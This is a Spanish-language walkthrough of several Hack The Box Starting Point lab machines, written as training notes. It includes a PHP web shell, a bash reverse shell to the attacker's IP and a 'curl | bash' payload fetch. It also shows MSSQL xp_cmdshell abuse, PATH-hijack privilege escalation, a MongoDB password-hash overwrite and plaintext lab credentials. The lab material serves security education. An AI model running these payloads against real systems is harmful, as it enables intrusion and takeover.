Entramos con -i 10.129.175.41 -u administrator -p badminton:

under

Y con un poco de búsqueda encontramos la flag:

under

y hemos completado la máquina.


Three

under

Encendemos la máquina y nos da la dirección IP 10.129.91.236 y probamos a lanzar unas trazas ICMP para saber si el host está activo.

❯ ping -c 5 10.129.91.236
PING 10.129.91.236 (10.129.91.236) 56(84) bytes of data.
64 bytes from 10.129.91.236: icmp_seq=1 ttl=63 time=144 ms
64 bytes from 10.129.91.236: icmp_seq=2 ttl=63 time=99.6 ms
64 bytes from 10.129.91.236: icmp_seq=3 ttl=63 time=97.8 ms
64 bytes from 10.129.91.236: icmp_seq=4 ttl=63 time=97.8 ms
64 bytes from 10.129.91.236: icmp_seq=5 ttl=63 time=98.1 ms
--- 10.129.91.236 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4004ms
rtt min/avg/max/mdev = 97.779/107.395/143.705/18.167 ms

Con un TTL 63 sabemos que nos estamos enfrentando a una máquina Linux.

Enumeración

Para la fase de enumeración con nmap vamos a lanzar un escaneo rápido y sigiloso:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.91.236 -oG allPorts
under

Limpiamos ruido y con extractPorts copiamos los puertos abiertos para realizar un escaneo exhaustivo con nmap y una serie de scripts básico de reconocimiento para saber la versión y servicio:

nmap -sCV -p22,80 10.129.91.236 -oN targeted
under

Vemos un puerto 22 y un 80 abiertos, probamos con la herramienta whatweb a enumerar un poco el servicio web:

under

Vemos un potencial dominio ‘thetoppers.htb’ pero, por ahora sigamos enumerando, vamos a realizar un escaneo con nmap y script programado en Lua para utilizar un diccionario que contiene posibles rutas comunes que pueda contemplar este servicio web:

nmap --script http-enum 10.129.91.236 -oN webScan
under

Explotación

Al no encontrar mucha información de los escaneos web, probamos a enumerar directorios con la herramienta gobuster

under

No hay nada, así que probamos con posibles archivos .PHP:

under

No encontramos nada entonces abriremos la web

under

Por más exhaustiva que sea la búsqueda en la web no hay nada pero, no significa que no haya nada, ya que en realidad si usamos gobuster para filtrar por VHOST la cosa cambia totalmente:


¿Qué es VHOST?

Es bastante sencillo de entender este concepto ya que un servidor tiene una dirección IP, pero puede tener multiples dominos, y en base al dominio que se acceda la información puede variar y ser diferente.

No es lo mismo acceder a 10.129.91.236, que acceder a thetoppers.htb. Pueden diferentes en su contenido o tener una ligera variación.


under

Y encontramos 2 subdominios pero, el único que nos interesa es el s3.thetoppers.htb ya que S3 proviene de un servicio de Cloud de Amazon:


¿Qué es S3 Bucket AWS?

Un bucket S3 de AWS es un recurso de almacenamiento en la nube que permite guardar datos manera segura, eficiente y escalable. Es un servicio de Amazon Web Services (AWS) llamado Simple Storage Service (S3)


Para conectarnos podemos instalar ‘aws-cli’:

under

La típica para usar el cliente de aws es utilizar el comando, seguido de llamar a s3 y ejecutar por ejemplo un ‘ls’:

aws --endpoint=http://s3.thetoppers.htb s3 ls

En caso de arrojar un error simplemente ejecutamos aws configure y ponemos todo como temp.

under

Tenemos capacida de lectura y podemos listar el contenido almacenado en el Bucket de S3 Amazon.

under

Ya que la página interpreta código .PHP, podemos crear un pequeño script .PHP para subirlo al Bucket S3 de Amazon.

Shell.php

<?php
	system($_GET["cmd"]);
?>

Lo subimos ejecutando cp shell.php al Bucket.

under

Y en la web probamos a cargar el recurso, y no vemos nada eso es buena señal.

under

Ya que a través de la variables cmdpodremos ejecutar comandos de manera remota y hemos conseguido un RCE Remote Command Execution.

under

Probamos a listar el ‘/etc/passwd’. Y vemos que 2 usuarios tienen una Bash como consola.

under

Como podemos subir contenido al Bucket, nos podemos crear una Reverse Shell, entonces la máquina nos va a enviar una Bash a nuestra máquina como atacante.

Reverse.sh

#!/bin/bash

bash -i >& /dev/tcp/10.10.16.84/1337 0>&1

Subimos el Reverse.sh, nos montamos con python3 -m http.server 8000 Un servidor HTTP, y nos ponemos en escucha con la herramienta netcat por el puerto 1337.

under

Si entramos a la página y escribos muestra shell, debemos de poder ver en texto plano el código:

under

Lo que debemos hacer es en la variable cmd ejecutar:

curl 10.10.16.84:8000/lian.sh|bash
under

Y revisando nuestra terminal vemos que el servidor web montado con Python ha recibido una petición Get. Y por el puerto 1337 con netcat hemos recibido una conexión.

under

Hemos hecho la intrusión en la máquina y vemos la flag:

under

Bonus

Al recibir la conexión con la herramienta netcat para tener un mejor control de la consola, podemos hacer un tratamiento TTY, basicamente poder usar la consola que nos la máquina sin problemas. Para eso ejecutamos una vez recibida la consola:

Pulsamos ------> Ctrl + z
y Escribimos --> stty raw -echo; fg

Y terminamos escribiendo:

[1]  + continued  nc -nlvp 443
                              reset
reset: unknown terminal type unknown
Terminal type? xterm

Exportamos las variables de entorno TERM y SHELL

www-data@host:/$ export TERM=xterm
www-data@host:/$ export SHELL=bash
  1. export TERM=xterm` -> Debemos hacer esto ya que a pesar de haberle indicado que queríamos una xterm al momento de reiniciarlo la variable de entorno TERM vale dump (Se usa esta variable para poder usar los atajos de teclado).

  2. export SHELL=bash` -> Para que nuestra shell sea una bash.


Tier 3

under

Archetype

under

Comenzamos encendiendo la máquina y tenemos la dirección IP 10.129.204.6, le enviamos una traza ICMP con ping para saber si la máquina esta activa.

❯ ping -c 5 10.129.204.6
PING 10.129.204.6 (10.129.204.6) 56(84) bytes of data.
64 bytes from 10.129.204.6: icmp_seq=1 ttl=127 time=104 ms
64 bytes from 10.129.204.6: icmp_seq=2 ttl=127 time=100 ms
64 bytes from 10.129.204.6: icmp_seq=3 ttl=127 time=101 ms
64 bytes from 10.129.204.6: icmp_seq=4 ttl=127 time=97.8 ms
64 bytes from 10.129.204.6: icmp_seq=5 ttl=127 time=114 ms

--- 10.129.204.6 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4004ms
rtt min/avg/max/mdev = 97.845/103.341/114.042/5.675 ms

Vemos un TTL de 127. Por tanto, estamos frente a un Windows.

Enumeración

Empezamos lanzando un escaneo rápido y sigiloso con nmap:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.204.6 -oG allPorts
under

Vemos varios puertos abiertos entonces para limpiar ruido usamos la utilidad previamente definida extractPorts:

under

Con los puertos copiados en la clipboard lanzamos un escaneo exhaustivo con nmap usando una serie de scripts básicos de reconocimiento para identificar la version y servicio:

nmap -sCV -p135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669 -oN targeted
under

No nos interesa ver los puertos abiertos tan altos a partir del 5985, no son relevantes.

Explotación

El puerto más adecuado para comenzar es el 445 porque tiene un recurso SMB compartido a nivel de red al cual nos conectaremos:

under

Y vemos un directorio compartido llamado backups. Entraremos a ese directorio:

under

Listando el contenido encontramos un archivo interesante llamado prod.dtsConfig. Lo traeremos a nuestra máquina con get.

under

Revisando el archivo de configuración encontramos Information Leakage, ya que vemos en texto plano password:M3g4c0rp123 para el usuario ARCHETYPE\sql_svc.

under

Con estas credenciales podemos hacer uso de la herramienta impacket.

Impacket es una colección de clases de Python que se integran con aplicaciones como los escáneres de vulnerabilidades, lo que les permite funcionar con los protocolos de red de Windows.

Impacket cuenta con una serie de scripts que nos pueden ser de utilidad al tratar con una máquina Windows.

under

El script que usaremos es mssqlclient.py para poder conectarnos al servicio MS-SQL:

under

Una vez dentro podremos probar que privilegios tenemos con:

under

Al tener un 1, significa que podemos hacer cambios

under

Nos dice que debemos poner xp_cmdshell en 1:

under

Su valor por defecto está en 0, así que lo cambiamos:

under

Y ahora tenemos un RCE:

under

Aprovechandonos del RCE subimos el nc64 para entablarnos una reverse shell con netcat:

under

Y ejecutamos la shell con powershell:

under

Una vez dentro, ya podremos leer la flag del usuario:

under

Escalada

Para esta parte, encontramos una carpeta interesante PSReadLine, con un archivo ConsoleHost_history:

under

Al abrir este archivo vemos un Information Disclosure, con las credenciales del administrador

under

/user:administrator MEGACORP_4dm1n!!

Probamos conexión y somos administrator:

under

Solo será cuestión de buscar la flag y habremos completado la máquina.

under

Oopsie

under

Encendemos la máquina y nos da la dirección IP 10.129.165.105, comenzando lanzando ping para saber si esta activa.

ping -c 5 10.129.165.105
PING 10.129.165.105 (10.129.165.105) 56(84) bytes of data.
64 bytes from 10.129.165.105: icmp_seq=1 ttl=63 time=111 ms
64 bytes from 10.129.165.105: icmp_seq=2 ttl=63 time=107 ms
64 bytes from 10.129.165.105: icmp_seq=3 ttl=63 time=108 ms
64 bytes from 10.129.165.105: icmp_seq=4 ttl=63 time=108 ms
64 bytes from 10.129.165.105: icmp_seq=5 ttl=63 time=107 ms

--- 10.129.165.105 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4005ms
rtt min/avg/max/mdev = 106.742/108.161/111.090/1.513 ms

Con un TTL 63, estamos frente a una máquina Linux.

Enumeración

Usando nmap lanzamos un escaneo rápido y sigiloso:

nmap -p- --open -sS --min-rate -vvv -n -Pn 10.129.165.10.5 -oG allPorts
under

Usando extractPorts para limpiar el ruido de la captura de nmap vemos puerto 22 y 80 abiertos:

under

Lanzamos una serie de scripts básicos de reconocimiento con nmap para identificar la version y servicio:

nmap -sCV -p22,80 10.129.165.105 -oN targeted
under

Explotación

Seguimos enumerando el servicio web

under

Y encontramos un directorio ‘/uploads’ usando la herramienta gobuster

under

Vamos a la página pero, no encontramos nada:

under

Vamos al directorio ‘/uploads’ pero, no tenemos acceso:

under

Al no encontrar directorios, y la máquina no esta haciendo vhost, hay otra manera de enumerar una página web y mediante Proxies.


¿Qué es Web Crawl?

Un web crawl o rastreo de sitios web es el proceso de analizar el contenido de un sitio web. Esto se hace mediante un software automatizado llamado web crawler, araña web o bot.

La herramienta Burpsuite permite hacer este mapeo recibiendo una petición.

under

Al igual que Caido:

under

Y así encontramos el panel de login, pero no hay forma de burlar el panel de autenticación. Entonces le damos en ‘Login as Guest’.

under

Nos encontramos con un menu de usuario y registros y tenemos un id guardado en Storage, vemos un role=guest, y user=2233. Esto significa que ese es nuestro identificador en la paǵina:

under

La página tiene una variable id=2, significa que podemos probar a cambiar su valor a 1:

under

Y nos lista el role=admin, y el id=34322

under

Si cambiamos estos valores en la página y recargamos, seremos admin.

under

Siendo admin ya tenemos acceso a la ruta ‘/uploads’, donde podemos probar subir un script en php.

under


Shell PHP:

<?php
system($_GET["cmd"]);
?>

Subiendo el archivo y llendo a ‘/uploads/’ usando la variable cmd vemos que tenemos ejecución remota de comandos.

under

Le subimos una reverse shell en php.

under

Ahora para salir del usuario ‘www-data’, haremos:

cat * | grep -i passw*

Y nos arroja la contraseña del usuario ‘robert’:

under
robert M3g4C0rpUs3r!

Nos logueamos como robert:

under

Y ya tendremos la flag:

under

Escalada

Para la escalada con un sudo -l vemos que podemos ejecutar el binario cat como root. Dentro del sistema de archivo por lo general tenemos capacidad de escritura en /dev/shm y en /tmp/, entonces dentro de cualquiera de estos directorios creamos un archivo llamado cat, y lo abrimos con para ingresar:

cat:

/bin/bash

Le damos permisos de ejecución con chmod +x cat, y hacemos un Path hijacking.

export PATH=/tmp:$PATH

Logrando que se ejecuto primero nuestro binario malicioso cat. Y seremos root

under

Vaccine

under

Encendemos la máquina y nos da la dirección IP 10.129.122.95 y usamos ping para saber si la máquina esta activa:

❯ ping -c 5 10.129.122.95
PING 10.129.122.95 (10.129.122.95) 56(84) bytes of data.
64 bytes from 10.129.122.95: icmp_seq=1 ttl=63 time=124 ms
64 bytes from 10.129.122.95: icmp_seq=2 ttl=63 time=123 ms
64 bytes from 10.129.122.95: icmp_seq=3 ttl=63 time=129 ms
64 bytes from 10.129.122.95: icmp_seq=4 ttl=63 time=121 ms
64 bytes from 10.129.122.95: icmp_seq=5 ttl=63 time=121 ms

--- 10.129.122.95 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4004ms
rtt min/avg/max/mdev = 120.835/123.672/129.102/3.047 ms

Vemos un TTL 63 significa que estamos frente a un Linux.

Enumeración

Hacemos uso de nmap a la IP 10.129.122.95

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.122.95 -oG allPorts

![[HTB/Starting Point/Tier 3/Vaccine/Images/nmap.png]]

Limpiamos la captura con extractPorts:

![[HTB/Starting Point/Tier 3/Vaccine/Images/extractPorts.png]]

![[HTB/Starting Point/Tier 3/Vaccine/Images/nmap2.png]]

Explotación

![[fpt.png]]

![[HTB/Starting Point/Tier 3/Vaccine/Images/ftp2.png]]

![[HTB/Starting Point/Tier 3/Vaccine/Images/ftp3.png]]

![[HTB/Starting Point/Tier 3/Vaccine/Images/whatweb.png]]

![[HTB/Starting Point/Tier 3/Vaccine/Images/web.png]]

![[HTB/Starting Point/Tier 3/Vaccine/Images/web2.png]]

![[HTB/Starting Point/Tier 3/Vaccine/Images/john.png]]

![[john2.png]]

![[zip.png]]

![[zip2.png]]

![[md5.png]]

![[HTB/Starting Point/Tier 3/Vaccine/Images/web3.png]]

![[HTB/Starting Point/Tier 3/Vaccine/Images/web4.png]]

![[cookie.png]]

![[HTB/Starting Point/Tier 3/Vaccine/Images/SQL.png]]

![[HTB/Starting Point/Tier 3/Vaccine/Images/intrusion.png]]

![[HTB/Starting Point/Tier 3/Vaccine/Images/user.png]]

Escalada

![[esc1.png]]

![[HTB/Starting Point/Tier 3/Vaccine/Images/esc2.png]]

![[HTB/Starting Point/Tier 3/Vaccine/Images/esc3.png]]

![[HTB/Starting Point/Tier 3/Vaccine/Images/root.png]]


Unified

under

10.129.135.195

❯ ping -c 5 10.129.135.195 PING 10.129.135.195 (10.129.135.195) 56(84) bytes of data. 64 bytes from 10.129.135.195: icmp_seq=1 ttl=63 time=116 ms 64 bytes from 10.129.135.195: icmp_seq=2 ttl=63 time=113 ms 64 bytes from 10.129.135.195: icmp_seq=3 ttl=63 time=111 ms 64 bytes from 10.129.135.195: icmp_seq=4 ttl=63 time=113 ms 64 bytes from 10.129.135.195: icmp_seq=5 ttl=63 time=112 ms

Enumeración

![[HTB/Starting Point/Tier 3/Unified/Images/nmap.png]]

![[HTB/Starting Point/Tier 3/Unified/Images/nmap2.png]]

Explotación

![[HTB/Starting Point/Tier 3/Unified/Images/web.png]]

![[HTB/Starting Point/Tier 3/Unified/Images/web2.png]]

![[HTB/Starting Point/Tier 3/Unified/Images/caido.png]]

![[HTB/Starting Point/Tier 3/Unified/Images/caido2.png]]

![[HTB/Starting Point/Tier 3/Unified/Images/caido3.png]]

![[pay.png]]

![[pay2.png]]

![[HTB/Starting Point/Tier 3/Unified/Images/intrusion.png]]

Escalada

![[HTB/Starting Point/Tier 3/Unified/Images/esc.png]]

![[HTB/Starting Point/Tier 3/Unified/Images/esc2.png]]

![[HTB/Starting Point/Tier 3/Unified/Images/esc3.png]]

![[HTB/Starting Point/Tier 3/Unified/Images/esc4.png]]

![[HTB/Starting Point/Tier 3/Unified/Images/esc5.png]]

![[HTB/Starting Point/Tier 3/Unified/Images/esc6.png]]

![[HTB/Starting Point/Tier 3/Unified/Images/root.png]]

— 10.129.135.195 ping statistics — 5 packets transmitted, 5 received, 0% packet loss, time 4005ms rtt min/avg/max/mdev = 110.743/113.041/115.996/1.709 ms

$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4

$6$zd3aCG0uN4FkSFpM$txBM8YnmCuifebw9sZ5gh56wtSwlBMFZ4O8f0MB79h0V2y3r/uaGAslpb3YkRWDtEQo8jfvn0PDUMg47EOlx8.

mongo –port 27117 ace –eval ‘db.admin.update({“_id”: ObjectId(“61ce278f46e0fb0012d47ee4”)},{$set:{“x_shadow”:”$6$zd3aCG0uN4FkSFpM$txBM8YnmCuifebw9sZ5gh56wtSwlBMFZ4O8f0MB79h0V2y3r/uaGAslpb3YkRWDtEQo8jfvn0PDUMg47EOlx8.”}})’


Esta publicación ha sido creada como soporte en mi formación académica y crecimiento profesional.

© Juan David Garcia Acevedo (aka liandd)